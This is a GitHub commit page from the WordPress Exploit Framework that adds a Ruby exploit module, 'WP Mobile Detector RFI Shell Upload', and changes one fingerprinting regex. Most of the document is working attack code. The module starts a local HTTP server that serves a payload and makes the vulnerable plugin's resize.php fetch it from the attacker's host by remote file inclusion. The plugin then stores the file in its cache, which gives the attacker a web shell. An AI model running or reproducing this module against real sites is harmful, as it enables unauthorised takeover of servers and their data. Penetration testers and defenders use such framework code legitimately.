Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit e610ada

Browse files
authored
Merge pull request #15 from rastating/new_modules_2016_06
New modules 2016 06
2 parents e097192 + e077712 commit e610ada

File tree

2 files changed

+89
-1
lines changed

2 files changed

+89
-1
lines changed

lib/wpxf/wordpress/fingerprint.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -218,7 +218,7 @@ def extension_version_pattern(type)
218218
when :readme
219219
# Example line:
220220
# Stable tag: 2.6.6
221-
return /(?:stable tag|version):\s*(?!trunk)([0-9a-z.-]+)/i
221+
return /(?:stable tag):\s*(?!trunk)([0-9a-z.-]+)/i
222222
when :style
223223
# Example line:
224224
# Version: 1.5.2
Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
class Wpxf::Exploit::WpMobileDetectorRfiShellUpload < Wpxf::Module
2+
include Wpxf
3+
include Wpxf::Net::HttpServer
4+
include Wpxf::WordPress::ShellUpload
5+
6+
def initialize
7+
super
8+
9+
update_info(
10+
name: 'WP Mobile Detector RFI Shell Upload',
11+
desc: 'The WP Mobile Detector plugin, in version 3.5, '\
12+
'allows for remote file inclusion and remote code execution via '\
13+
'the resize.php script. This exploit only works when the PHP '\
14+
'option "allow_url_fopen" is enabled (disabled by default in most cases).',
15+
author: [
16+
'White Fir Design', # Vulnerability disclosure
17+
'Rob Carr <rob[at]rastating.com>' # WPXF module
18+
],
19+
references: [
20+
['URL', 'https://www.pluginvulnerabilities.com/2016/05/31/aribitrary-file-upload-vulnerability-in-wp-mobile-detector/'],
21+
['WPVDB', '8505']
22+
],
23+
date: 'May 31 2016'
24+
)
25+
26+
register_options([
27+
StringOption.new(
28+
name: 'rfi_host',
29+
desc: 'The external address of this machine',
30+
required: true
31+
),
32+
StringOption.new(
33+
name: 'rfi_path',
34+
desc: 'The path to access via the remote file inclusion request',
35+
default: Utility::Text.rand_alpha(8),
36+
required: true
37+
)
38+
])
39+
end
40+
41+
def plugin_url
42+
normalize_uri(wordpress_url_plugins, 'wp-mobile-detector')
43+
end
44+
45+
def check
46+
check_plugin_version_from_readme('wp-mobile-detector', '3.6', '3.5')
47+
end
48+
49+
def rfi_host
50+
normalized_option_value('rfi_host')
51+
end
52+
53+
def rfi_path
54+
normalized_option_value('rfi_path')
55+
end
56+
57+
def rfi_url
58+
"http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
59+
end
60+
61+
def on_http_request(path, params, headers)
62+
payload.encoded
63+
end
64+
65+
def uploader_url
66+
normalize_uri(plugin_url, 'resize.php')
67+
end
68+
69+
def payload_body_builder
70+
builder = Utility::BodyBuilder.new
71+
builder.add_field('src', rfi_url)
72+
builder
73+
end
74+
75+
def uploaded_payload_location
76+
normalize_uri(plugin_url, 'cache', payload_name)
77+
end
78+
79+
def before_upload
80+
start_http_server(true)
81+
true
82+
end
83+
84+
def cleanup
85+
stop_http_server
86+
super
87+
end
88+
end

0 commit comments

Comments
 (0)